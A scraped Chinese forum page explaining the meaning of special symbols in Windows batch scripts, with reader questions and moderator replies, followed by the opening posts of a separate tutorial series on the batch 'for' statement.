  13. goto :eof
复制代码
② 出现在 set /a 语句中时，表示两数相除取余数，也就是所谓的模运算，它在命令行窗口和批处理文件中的写法略有差异：在命令行窗口中，只需要单个的%，在批处理文件中，需要连续两个百分号，写成%%。
    例如：在命令行窗口中，运行 set /a num=4%2 ，则结果将显示0，因为4除以2的余数为0；如果保存为批处理文件，则此语句将略有改变：
  1. @echo off

  2. set /a num=4%%2

  3. echo 4除以2的余数为 %num%

  4. pause
复制代码
③ 转义符号：如果要显示%本身时，需要在前面用%来转义。例如：
  1. @echo off

  2. echo 一个百分号：%%

  3. echo 两个百分号：%%%%

  4. echo 三个百分号：%%%%%%

  5. pause
复制代码
3、:、::
    ① 以:打头的单个的:表示该行是一个标签，它之后的内容是一个标签段，如:test，则表示:test之下的内容是标签段，而test是这个标签段的名，可以用 goto test 、goto :test 跳转到该标签段或用 call :test 调用该子过程；而连续两个冒号打头表示该行内容为注释内容，实际上，:: 是个无效的标签名，:加上空格同样可以起到注释的作用，此时，::的功能和注释命令rem相同；但是，rem 注释语句中的某些命令符号如重定向符号和管道符号还是会执行，而如果用::来注释的时候，与::同处一行的所有命令或符号直接被命令解释器忽略掉，无形中提高了注释的兼容性和整个程序的执行效率，并且在众多的命令语句中更显得醒目，所以，注释语句推荐使用::的格式。
    ② 在 set 语句中：和~同时使用时，: 起到截取字符串的功能。假设 set str=abcde，那么，set var=%str:~0,1% 表示截取字符串abcde的第一个字符；和=同时使用时，起到替换字符串的功能。假设：set str=abc:de，那么，set var=%str:a=1% 则表示把字符串abc:de中的a替换为1，set var=%str::=2% 则表示把字符串abc:de中的:替换为2；

4、~
    ① 用在 set 语句中，和:同时使用时，起到截取字符串的功能，请参考上一条的解释；
    ② 用在 set /a 语句中时，它是一元运算符号，表示将操作数字按位取反，例如，set /a num=~1的执行结果是-2，set /a num=~0的结果是-1
    ③ 用在for语句中，表示增强for的功能，能够提取到更多的信息。例如：在批处理文件的for语句中：%%~i表示去掉第一对外侧引号，%%~zi表示获取文件的大小(以字节为单位)，%%~ni表示获取文件名，%%~xi表示获取扩展名(带点号)……它们可以组合使用，如%%~nxi表示获取文件名和后缀名。

5、>、>>
    一般而言，>表示用新内容覆盖原文件内容，>>表示向原文件追加内容，此时，它们以重定向符号的身份出现；如果用在 set /a 语句中，则>表示分组，>>表示逻辑移位；

6、|
    一般而言，它以管道符号的身份出现，表示把在它之前的命令或语句的执行结果作为在它之后的命令或语句的处理对象，简而言之，就是把它之前的输出作为它之后的输入，例如：echo abcd|findstr "b"，表示把echo abcd的执行结果，作为findstr "b" 的执行对象，也就是在字符串abcd中查找b字符；如果test.txt中有abcd字符串，则该语句与 findstr "b" test.txt 具有同样的效果；

7、^
    一般而言，^以转义字符的身份出现。因为在cmd环境中，有些字符具备特殊功能，如>、>>表示重定向，|表示管道，&、&&、||表示语句连接……它们都有特定的功能，如果需要把它们作为字符输出的话，echo >、echo | ……之类的写法就会出错——cmd解释器会把它们作为具有特殊功能的字符对待，而不会作为普通字符处理，这个时候，就需要对这些特殊字符做转义处理：在每个特殊字符前加上转义字符^，因此，要输出这些特殊字符，就需要用 echo ^>、echo ^|、echo ^|^|、echo ^^……之类的格式来处理；

8、&
    一般而言，&表示两条命令或语句同时执行的意思。如 echo a&echo b，将在屏幕上同时显示a和b字符。当几条语句含义近似或作用相同且没有先后的顺序之别时，启用&符号连接这些语句将会增加程序的可读性；

9、&&、||
    这是一对含义截然相反的命令符，&&表示如果它之前的语句成功执行，将执行它之后的语句，而||则表示如果它之前的语句执行失败，将执行它之后的语句；在某些场合，它们能替代 if……else…… 语句；例如：
  1. @echo off

  2. md test&&echo 成功创建文件夹test||echo 创建文件夹test失败

  3. pause
复制代码
效果等同于如下代码：
  1. @echo off

  2. md test

  3. if "%errorlevel%"=="0" (echo 成功创建文件夹test) else echo 创建文件夹test失败

  4. pause
复制代码
10、()
    小括号对经常出现在for语句和if语句中，还有一些特定场合；在for和if语句中属于语句格式的要求，例如：
    ① for %%i in (语句1) do (语句2)：在这条语句中，语句1必须用括号对包围，而语句2的括号对则可视情况予以抛弃或保留：如果语句2是单条语句或用&、&&、||等连接符号连接的多条语句，括号对可以抛弃，如果语句2是有逻辑先后关系的多条语句集合，则必须保留括号对，并且，多条语句必须断行书写；例如：
  1. @echo off

  2. for %%i in (a b c) do echo %%i&echo --------

  3. pause
复制代码
也可以改写为：
  1. @echo off

  2. for %%i in (a b c) do (

  3.     echo %%i

  4.     &echo --------

  5. )

  6. pause
复制代码
② if 条件 (语句1) else (语句2)：如果没有else部分，则语句1的括号对可有可无；如果有else部分，则语句1中的括号对必须保留，此时，语句2中的括号对保留与否，和上一点类似。例如：
  1. @echo off

  2. if exist test.txt echo 当前目录下有test.txt

  3. pause
复制代码
  1. @echo off

  2. if exist test.txt (echo 当前目录下有test.txt) else echo 当前目录下没有test.txt

  3. pause
复制代码
  1. @echo off

  2. if exist test.txt (echo 当前目录下有test.txt) else (

  3.     echo 当前目录下没有test.txt

  4.     pause

  5.     cls

  6.     echo 即将创建test.txt文件

  7.     cd.>test.txt&&echo 成功创建test.txt

  8. )

  9. pause
复制代码
③ 特定场合下使用括号对，不但可以使代码逻辑清晰，增强可读性，还可能会减少代码量。比如用echo语句构造多行文本内容的时候：
  1. @echo off

  2. (

  3. echo 第一行

  4. echo 第二行

  5. echo 第三行

  6. )>test.txt

  7. start test.txt
复制代码
如果不使用括号对的话，则需要使用如下代码：
  1. @echo off

  2. echo 第一行>test.txt

  3. echo 第二行>>test.txt

  4. echo 第三行>>test.txt

  5. start test.txt
复制代码
11、+、-、*、/
    在 set /a 语句中，这些符号的含义分别为：加、减、乘、除。例如：set /a num=1+2-3*4/5。需要注意的是，这些运算符号遵循数学运算中的优先级顺序：先乘除后加减，有括号的先算括号，并且，直接忽略小数点，因此，刚才那个算式的结果是1而不是0或0.6。
    另外，有可能会在代码中看到这样的写法：set /a num+=1、set /a num-=1、set /a num*=1 和 set /a num/=1，这些表示累加、累减、累乘、累除，步长都是1，展开后的完整写法为：set /a num=num+1、set /a num=num-1、set /a num=num*1 和 set /a num=num/1(set /a 语句中，变量引用可以忽略百分号对或感叹号对，set /a num=%num%+1 与 set /a num=num+1 等同)

12、equ、neq、lss、leq、gtr、geq
    这几个命令符是if语句中常用到的数值比较符号，取自英文的关键字母，具体的含义为：
命令符号 含义 英文解释
EQU 等于 equal
NEQ 不等于 not equal
LSS 少于 less than
LEQ 少于或等于 less than or equal
GTR 大于 greater than
GEQ 大于或等于 greater than or equal
2

评分人数

    • lixiaodaoaaa: 再用到了！过来复习PB + 2
    • yslyxqysl: 很详细PB + 1
收藏 分享
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告

night
  • 发短消息
  • 加为好友

night 当前离线

UID
5154
帖子
3
精华
0
积分
172
PB
172
技术
0
捐助
0
阅读权限
20
在线时间
3 小时
注册时间
2008-9-21
最后登录
2008-10-4

二级士官

帖子
3
积分
172
技术
0
捐助
0
注册时间
2008-9-21
2楼
发表于 2008-9-24 23:01 | 只看该作者

请教

不错啊，很受用。只是有些语法似乎没啥规律啊，像这一句：
假设：set str=abc:de，那么，set var=%str:a=1% 则表示把字符串abc:de中的a替换为1，set var=%str::=2% 则表示把字符串abc:de中的:替换为2；
我不知该怎么记啊，所以用也还得查……
回复 引用

评分 报告 TOP

yslyxqysl
  • 发短消息
  • 加为好友

yslyxqysl 当前离线

UID
4205
帖子
342
精华
0
积分
3933
PB
3909
技术
8
捐助
0
阅读权限
254
来自
广西桂林
在线时间
745 小时
注册时间
2008-8-27
最后登录
2016-5-28

荣誉版主

帖子
342
积分
3933
技术
8
捐助
0
注册时间
2008-8-27
3楼
发表于 2008-9-29 21:49 | 只看该作者

!!!!
!!!!!
!!!!
!!!

!!

!

!

叹号去哪了??!!

回复 引用

评分 报告 TOP

wuzhihui001
  • 发短消息
  • 加为好友

wuzhihui001 当前离线

UID
5858
帖子
5
精华
0
积分
245
PB
245
技术
0
捐助
0
阅读权限
20
在线时间
3 小时
注册时间
2008-10-24
最后登录
2008-10-27

三级士官

帖子
5
积分
245
技术
0
捐助
0
注册时间
2008-10-24
4楼
发表于 2008-10-26 18:48 | 只看该作者
我也不知道在哪里问 索性就在这里问得了 哪位朋友能告诉我怎么输入这符号啊 谢谢
回复 引用

评分 报告 TOP

hkmhd
  • 发短消息
  • 加为好友

hkmhd 当前离线

UID
6328
帖子
68
精华
0
积分
412
PB
412
技术
0
捐助
0
阅读权限
20
在线时间
41 小时
注册时间
2008-11-5
最后登录
2012-8-17

六级士官

帖子
68
积分
412
技术
0
捐助
0
注册时间
2008-11-5
5楼
发表于 2008-11-6 13:40 | 只看该作者
增加了不少的知识，仅仅是符号就要学那么多……批处理这玩意也还真是不一般
回复 引用

评分 报告 TOP

Batcher
  • 发短消息
  • 加为好友

Batcher 当前在线

UID
2725
帖子
8626
精华
1
积分
37463
PB
36322
技术
207
捐助
510
阅读权限
255
在线时间
5843 小时
注册时间
2008-6-9
最后登录
2018-6-3

管理员

帖子
8626
积分
37463
技术
207
捐助
510
注册时间
2008-6-9
6楼
发表于 2009-1-4 00:13 | 只看该作者

回复 8楼 的帖子

就是把等号左边的字符串替换为等号右边的字符串
环境变量替换已如下增强:

%PATH:str1=str2%

会扩展 PATH 环境变量，用 "str2" 代替扩展结果中的每个 "str1"。
要有效地从扩展结果中删除所有的 "str1"，"str2" 可以是空的。
"str1" 可以以星号打头；在这种情况下，"str1" 会从扩展结果的
开始到 str1 剩余部分第一次出现的地方，都一直保持相配。
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
回复 引用

评分 报告 TOP

Batcher
  • 发短消息
  • 加为好友

Batcher 当前在线

UID
2725
帖子
8626
精华
1
积分
37463
PB
36322
技术
207
捐助
510
阅读权限
255
在线时间
5843 小时
注册时间
2008-6-9
最后登录
2018-6-3

管理员

帖子
8626
积分
37463
技术
207
捐助
510
注册时间
2008-6-9
7楼
发表于 2009-1-4 00:14 | 只看该作者

回复 14楼 的帖子

ALT+小键盘127 backspace 
Ctrl+G beep 
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
回复 引用

评分 报告 TOP

hongznbiao
  • 发短消息
  • 加为好友

hongznbiao 当前离线

UID
9293
帖子
3
精华
0
积分
172
PB
172
技术
0
捐助
0
阅读权限
20
在线时间
1 小时
注册时间
2009-2-7
最后登录
2009-2-14

二级士官

帖子
3
积分
172
技术
0
捐助
0
注册时间
2009-2-7
8楼
发表于 2009-2-10 00:40 | 只看该作者

楼主辛苦了

感谢楼主的帮助.我是最近才开始学习"入门"的.
回复 引用

评分 报告 TOP

guao_jie
  • 发短消息
  • 加为好友

guao_jie 当前离线

UID
10966
帖子
6
精华
0
积分
114
PB
114
技术
0
捐助
0
阅读权限
20
在线时间
7 小时
注册时间
2009-3-26
最后登录
2009-4-23

一级士官

帖子
6
积分
114
技术
0
捐助
0
注册时间
2009-3-26
9楼
发表于 2009-3-26 21:37 | 只看该作者
顶顶顶顶顶顶顶，谢谢。
回复 引用

评分 报告 TOP

gaoren1dian
  • 发短消息
  • 加为好友

gaoren1dian 当前离线

UID
10526
帖子
1
精华
0
积分
102
PB
102
技术
0
捐助
0
阅读权限
20
在线时间
1 小时
注册时间
2009-3-16
最后登录
2009-3-30

一级士官

帖子
1
积分
102
技术
0
捐助
0
注册时间
2009-3-16
10楼
发表于 2009-3-29 09:27 | 只看该作者
好猛好强大，楼主，学习学习
回复 引用

评分 报告 TOP

yjstone
  • 发短消息
  • 加为好友

yjstone 当前离线

UID
11128
帖子
29
精华
0
积分
153
PB
144
技术
3
捐助
0
阅读权限
20
在线时间
37 小时
注册时间
2009-3-29
最后登录
2013-8-17

二级士官

帖子
29
积分
153
技术
3
捐助
0
注册时间
2009-3-29
11楼
发表于 2009-3-29 20:58 | 只看该作者
非常好，但是~解释得不是很详细，比如"%~0"的意思，还有！符号还没有说明是什么意思，还望楼主解答。
回复 引用

评分 报告 TOP

Batcher
  • 发短消息
  • 加为好友

Batcher 当前在线

UID
2725
帖子
8626
精华
1
积分
37463
PB
36322
技术
207
捐助
510
阅读权限
255
在线时间
5843 小时
注册时间
2008-6-9
最后登录
2018-6-3

管理员

帖子
8626
积分
37463
技术
207
捐助
510
注册时间
2008-6-9
12楼
发表于 2009-3-29 22:15 | 只看该作者

回复 29楼 的帖子

!
① 在set /a中一元运算符，表示逻辑非。比如set /a a=!0，这时a就表示逻辑1。

! !
① 当启用变量延迟时，使用!!将变量名扩起来表示对变量值的引用。
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
回复 引用

评分 报告 TOP

Batcher
  • 发短消息
  • 加为好友

Batcher 当前在线

UID
2725
帖子
8626
精华
1
积分
37463
PB
36322
技术
207
捐助
510
阅读权限
255
在线时间
5843 小时
注册时间
2008-6-9
最后登录
2018-6-3

管理员

帖子
8626
积分
37463
技术
207
捐助
510
注册时间
2008-6-9
13楼
发表于 2009-4-1 11:46 | 只看该作者

转帖：批处理中符号的作用

  1. 　　　　　　　　　　　　一、单符号

  2. ~

  3. ① 在for中表示使用增强的变量扩展。

  4. ② 在%var:~n,m%中表示使用扩展环境变量指定位置的字符串。

  5. ③ 在set/a中表示一元运算符，将操作数按位取反。

  6.

  7. !

  8. ① 在set /a中一元运算符，表示逻辑非。比如set /a a=!0，这时a就表示逻辑1。

  9.

  10. @

  11. ① 隐藏命令行本身的回显，常用于批处理中。

  12.

  13. $

  14. ① 在findstr命令里面表示一行的结束。

  15. ② 在prompt命令里面，表示将其后的字符转义（符号化或者效果化）。

  16.

  17. %

  18. ① 在set /a中的二元运算符，表示算术取余。

  19. ② 命令行环境下，在for命令in前，后面接一个字符（可以是字母、数字或者一些特定字符），表示指定一个循环或者遍历指标变量。

  20. ③ 批处理中，后接一个数字表示引用本批处理当前执行时的指定的参数。

  21. ④ 其它情况下，%将会被脱去（批处理）或保留（命令行）

  22.

  23. ^

  24. ① 取消特定字符的转义作用，比如& | > < ! "等，但不包括%。比如要在屏幕显示一些特殊的字符，比如> >> | ^ &等符号时，就可以在其前面加一个^符号来显示这个^后面的字符了，^^就是显示一个^，^|就是显示一个|字符了;

  25. ② 在set/a中的二元运算符，表示按位异或。

  26. ③ 在findstr/r的[]中表示不匹配指定的字符集。

  27.

  28. &

  29. ① 命令连接字符。比如我要在一行文本上同时执行两个命令，就可以用&命令连接这两个命令。

  30. ② 在set/a中是按位与。

  31.

  32. *

  33. ① 代表任意个任意字符，就是我们通常所说的"通配符";比如想在c盘的根目录查找c盘根目录里所有的文本文件(.txt)，那么就可以输入命令"dir c:\*.txt"。

  34. ② 在set /a中的二元运算符，表示算术乘法。

  35. ③ 在findstr/r中表示将前一个字符多次匹配。

  36.

  37. -

  38. ① 范围表示符，比如日期的查找，for命令里的tokens操作中就可以用到这个字符。

  39. ② 在findstr/r中连接两个字符表示匹配范围。

  40. ③ -跟在某些命令的/后表示取反向的开关。

  41. ④ 在set /a中：

  42.    1.表示一个负数。

  43.    2.表示算术减运算。

  44.

  45. +

  46. ① 主要是在copy命令里面会用到它，表示将很多个文件合并为一个文件，就要用到这个+字符了。

  47. ② 在set/a中的二元运算符,表示算术加法。

  48.

  49. :

  50. ① 标签定位符，表示其后的字符串为以标签，可以作为goto命令的作用对象。比如在批处理文件里面定义了一个":begin"标签，用"goto begin"命令就可以转到":begin"标签后面来执行批处理命令了。

  51. ② 在%var:string1=string2%中分隔变量名和被替换字串关系。

  52.

  53. |

  54. ① 管道符，就是将上一个命令的输出，作为下一个命令的输入."dir /a/b |more"就可以逐屏的显示dir命令所输出的信息。

  55. ② 在set/a中的二元运算符，表示按位或。

  56. ③ 在帮助文档中表示其前后两个开关、选项或参数是二选一的。

  57.

  58. /

  59. ① 表示其后的字符（串）是命令的功能开关（选项）。比如"dir /s/b/a-d"表示"dir"命令指定的不同的参数。

  60. ② 在set/a中表示除法。

  61.

  62. >

  63. ① 命令重定向符，将其前面的命令的输出结果重新定向到其后面的设备中去，后面的设备中的内容被覆盖。比如可以用"dir > lxmxn.txt"将"dir"命令的结果输出到"lxmxn.txt"这个文本文件中去。

  64. ② 在findstr/r中表示匹配单词的右边界，需要配合转义字符\使用。

  65.

  66. <

  67. ① 将其后面的文件的内容作为其前面命令的输入。

  68. ② 在findstr/r中表示匹配单词的左边界，需要配合转义字符\使用。

  69.

  70. =

  71. ① 赋值符号，用于变量的赋值。比如"set a=windows"的意思意思是将"windows"这个字符串赋给变量"a"。

  72. ② 在set/a中表示算术运算，比如"set /a x=5-6*5"。

  73.

  74. \

  75. ① 这个"\"符号在有的情况下，代表的是当前路径的根目录.比如当前目录在c:\windows\system32下，那么你"dir \"的话，就相当与"dir c:\"。

  76. ② 在findstr/r中表示正则转义字符。

  77.

  78. ,

  79. ① 在set /a中表示连续表达式的分割符。

  80. ② 在某些命令中分割元素。

  81.

  82. .

  83. ① 在路径的\后紧跟或者单独出现时：

  84.    一个.表示当前目录。

  85.    两个.表示上一级目录。

  86. ② 在路径中的文件名中出现时：

  87.    最后的一个.表示主文件名与扩展文件名的分隔。

  88.

  89. ?

  90. ① 在findstr/r中表示在此位置匹配一个任意字符。

  91. ② 在路径中表示在此位置通配任意一个字符。

  92. ③ 紧跟在/后表示获取命令的帮助文档。

  93.

  94. ___________________________________________________

  95.

  96. 　　　　　　　　　　　　二、多符号(符号不能分隔)

  97.

  98. &&

  99. ① 连接两个命令，当&&前的命令成功时，才执行&&后的命令。

  100.

  101. ||

  102. ① 连接两个命令，当||前的命令失败时，才执行||后的命令。

  103.

  104. >&

  105. ① 将一个句柄的输出写入到另一个句柄的输入中。

  106.

  107. <&

  108. ① 从一个句柄读取输入并将其写入到另一个句柄输出中。

  109.

  110. %%

  111. ① 两个连续的%表示在预处理中脱为一个%。

  112. ② 批处理中，在for语句的in子句之前，连续两个%紧跟一个字符（可以是字母、数字和一些特定字符），表示指定一个循

  113.

  114. 环或者遍历指标变量。

  115. ③ 批处理中，在for语句中，使用与in之前指定的指标变量相同的串，表示引用这个指标变量。

  116.

  117. >>

  118. ① 命令重定向符，将其前面的命令的输出结果追加到其后面的设备中去。

  119. ② 在set /a中的二元运算符，表示逻辑右移。

  120.

  121. ==

  122. ① 在if命令中判断==两边的元素是否相同。

  123.

  124. <<

  125. ① 在set /a中的二元运算符，表示逻辑左移。

  126.

  127. +=

  128. ① 在set /a中的二元运算符。例如set /a a+=b表示将a加上b的结果赋值给a。

  129.

  130. -=

  131. ① 在set /a中的二元运算符。例如set /a a-=b表示将a减去b的结果赋值给a。

  132.

  133. *=

  134. ① 在set /a中的二元运算符。例如set /a a*=b表示将a乘以b的结果赋值给a。

  135.

  136. /=

  137. ① 在set /a中的二元运算符。例如set /a a/=b表示将a加上b的结果赋值给a。

  138.

  139. %=

  140. ① 在set /a中的二元运算符。例如set /a a%=b表示将a除以b的余数赋值给a。

  141. 【注：命令行可以直接用 set /a a%=b ，在批处理里面可以用 set /a a%%=b 。】

  142.

  143. ^=

  144. ① 在set /a中的二元运算符。例如set /a a"^="b表示将a与b按位异的结果赋值给a。

  145. 【注：这里 "^=" 加引号是为了防止^被转义，下同。】

  146.

  147. &=

  148. ① 在set /a中的二元运算符。例如set /a a"&="b表示将a与b按位与的结果赋值给a。

  149.

  150. |=

  151. ① 在set /a中的二元运算符。例如set /a a"|="b表示将a与b按位或的结果赋值给a。

  152.

  153. <<=

  154. ① 在set /a中的二元运算符。例如set /a a"<<="b表示将a按位左移b位的结果赋值给a。

  155.

  156. >>=

  157. ① 在set /a中的二元运算符。例如set /a a">>="b表示将a按位右移b位的结果赋值给a。

  158.

  159. \<

  160. ① 在findstr的一般表达式中表示字的开始处。

  161.

  162. \>

  163. ① 在findstr的一般表达式中表示字的结束处。

  164.

  165. ___________________________________________________

  166.

  167. 　　　　　　　　　　　　三、双符号对(两个符号之间须指定字符串)

  168.

  169. ! !

  170. ① 当启用变量延迟时，使用!!将变量名扩起来表示对变量值的引用。

  171.

  172. ' '

  173. ① 在for/f中表示将它们包含的内容当作命令行执行并分析其输出。

  174. ② 在for/f "usebackq"中表示将它们包含的字符串当作字符串分析。

  175.

  176. ( )

  177. ① 命令包含或者是具有优先权的界定符，比如for命令要用到这个()，我们还可以在if，echo等命令中见到它的身影。

  178. ② 在set /a中表示表达式分组。

  179.

  180. " "

  181. ① 界定符，在表示带有空格的路径时常要用""来将路径括起来，在一些命令里面也需要" "符号。

  182. ② 在for/f中将表示它们包含的内容当作字符串分析。

  183. ③ 在for/f "usebackq"表示它们包含的内容当作文件路径并分析其文件的内容。

  184. ④ 在其它情况下表示其中的内容是一个完整的字符串，其中的>、>>、<、&、|、空格等不再转义。

  185.

  186. ` `

  187. ① 在for/f中表示它们所包含的内容当作命令行执行并分析它的输出。

  188.

  189. % %

  190. ① 使用两个单独的%包含一个字符串表示引用以此串为名的环境变量。比如一个%time%可以扩展到当前的系统时间。

  191.

  192. [ ]

  193. ① 在帮助文档表示其中的开关、选项或参数是可选的。

  194. ② 在findstr /r中表示按其中指定的字符集匹配。
复制代码
原文地址：http://www.cn-dos.net/forum/viewthread.php?tid=30985

[ 本帖最后由 Batcher 于 2009-4-1 11:50 编辑 ]
1

评分人数

    • lllsoslll: 很好！！技术 + 1
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
回复 引用

评分 报告 TOP

wangjmh
  • 发短消息
  • 加为好友

wangjmh 当前离线

UID
10543
帖子
35
精华
0
积分
200
PB
200
技术
0
捐助
0
阅读权限
20
在线时间
34 小时
注册时间
2009-3-16
最后登录
2009-6-12

三级士官

帖子
35
积分
200
技术
0
捐助
0
注册时间
2009-3-16
14楼
发表于 2009-4-2 22:19 | 只看该作者

补充一些符号

\
这个"\"符号在有的情况下,代表的是当前路径的根目录.比如当前目录在c:\windows\system32下,那么你"dir \"的话,就相当与"dir c:\"
在findstr/r中表示正则转义字符。

''
在for/f中表示将它们包含的内容当作命令行执行并分析其输出；
在for/f "usebackq"中表示将它们包含的字符串当作字符串分析。
.
\\
在路径的\后紧跟或者单独出现时：
一个.表示当前目录；
两个.表示上一级目录；
在路径中的文件名中出现时：
最后的一个.表示主文件名与扩展文件名的分隔。
$
\\在findstr命令里面表示一行的结束。
``
在for/f中表示它们所包含的内容当作命令行执行并分析它的输出。
[]
在帮助文档表示其中的开关、选项或参数是可选的；
在findstr/r中表示按其中指定的字符集匹配。
?
在findstr/r中表示在此位置匹配一个任意字符；
?在路径中表示在此位置通配任意一个字符；
紧跟在/后表示获取命令的帮助文档。
!
当启用变量延迟时,使用!!将变量名扩起来表示对变量值的引用；
在set /a中表示逻辑非。比如set /a a=!0,这时a就表示逻辑1
回复 引用

评分 报告 TOP

Agan
  • 发短消息
  • 加为好友

Agan 当前离线

UID
11493
帖子
3
精华
0
积分
106
PB
106
技术
0
捐助
0
阅读权限
20
在线时间
0 小时
注册时间
2009-4-7
最后登录
2009-4-7

一级士官

帖子
3
积分
106
技术
0
捐助
0
注册时间
2009-4-7
15楼
发表于 2009-4-7 13:19 | 只看该作者
如输出%
可以用%%形式，还可以^%。那请问有什么区别吗？
回复 引用

评分 报告 TOP

1 2 3 4 下一页
返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

  • VBS教程&资料
  • BAT求助&讨论
批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:47, Processed in 0.045922 second(s), 9 queries, Gzip enabled.


批处理for语句从入门到精通

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? [系列教程]批处理for语句从入门到精通[20101225更新]
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
1 2 3 4 5 6 7 8 9 10 ... 35 下一页
返回列表 回复 发帖
namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2008-10-16 21:09 | 只看该作者

[原创] [系列教程]批处理for语句从入门到精通[20101225更新]

____________________________版主提醒____________________________

    为了避免影响技术讨论、提高看帖的舒适性，请大家不要在此帖下跟
无实质内容的口水帖，特别是纯顶、纯支持、纯感谢、路过之类的帖子，
管理人员将不定期清理此类回帖，请大家多参与讨论少灌水，与人方便，
终将给自己带来方便，谢谢合作。
________________________________________________________________

    批处理是一门简单的脚本语言，虽然不能独当一面，但是，若作为工作中的辅助工具，绝对会让大家有随用随写、称心如意的畅快感。

    和其他语言相比，批处理语言有其先天性的优势：

    1、系统自带，无需另行安装；
    2、命令少，语句简洁，上手非常快；
    3、编写出来的脚本小巧玲珑，随写随用；

    但是，因为它以命令行方式工作，操作多有不便，在图形界面大行其道的windows世界里，多多少少会让大众望而却步；就算是对命令行有好感的新手，面对微软有如天书的帮助文件，很多人也会败下阵来，因此，论坛里很多会员也发出了编写系统的批处理教程的呼声。

    编写系统的批处理新手教程，一直是论坛管理层讨论的热点问题，但是，各位管理人员大多都有工作在身，而系统的教程涉及的面是如此之广，面对如此浩大的工程，仅凭一两个人的力量，是难以做好的，因此，本人退而求其次，此次发布的教程，以专题的形式编写，日后人手渐多之后，再考虑组织人力编写全面的教程。

    之所以选择最难的for，一是觉得for最为强大，是大多数人最希望掌握的；二是若写其他命令教程，如果没有for的基础，展开来讲解会无从下手；三是for也是批处理中最复杂最难掌握的语句，把它攻克了，批处理的学习将会一片坦途。

    这次的for语句系列教程，打算按照for语句的5种句式逐一展开，在讲解 for /f 的时候，会穿插讲解批处理中一个最为关键、也是新手最容易犯错的概念：变量延迟，大纲如下：

一 前言
二 for语句的基本用法
三 for /f （含变量延迟）
四 for /r
五 for /d
六 for /l

    遵照 yibantiaokuan 的建议，在顶楼放出此教程的txt版本、word版本和pdf版本，以方便那些离线浏览的会员。

    由于本人水平有限，本教程尚存在不少错误，承蒙各位热心会员的关注，一些已知的错误在（对“批处理for语句从入门到精通”的找茬行动： http://bbs.bathome.net/thread-14068-1-1.html）这个帖子中被指出，并在陆续更新之中，请各位务必注意指正帖中指出的错误之处，并欢迎各位在那个帖子中把本教程中的错误一一挑出，本人将抽空更新教程中有误的地方。

下载地址：
http://pan.baidu.com/share/link?shareid=3613722265&uk=1124163200
14

评分人数

    • zhonglumthgh: 感谢分享技术 + 1
    • paladinjin: 感谢分享技术 + 1
    • rain_cyy: 我找到了我想要的技术 + 1
    • 小小菜鸟: 感谢分享技术 + 1
    • jrx401: 深入浅出啊技术 + 1
收藏 分享
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告

namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
2楼
发表于 2008-10-16 21:10 | 只看该作者

一、前言

    在批处理中，for是最为强大的命令语句，它的出现，使得解析文本内容、遍历文件路径、数值递增/递减等操作成为可能；配合if、call、goto等流程控制语句，更是可以实现脚本复杂的自动化、智能化操作；合理使用for语句，还能使代码大为简化，免除各位编写大量重复语句之苦。而能否熟练使用for语句，已经成为衡量一个人批处理水平高低最主要的标准。

    在这个系列教程中，我将通过实际应用中频繁出现的例子，带领大家步入for语句的神奇之门，一步步迈向for语句的魔幻殿堂，使得大家在实际的应用中，能独立写出简洁高效的代码，在批处理的世界里自由驰骋。

    注意：以下的讲解，都是基于简体中文版Windows XP Pro SP3的操作系统环境。
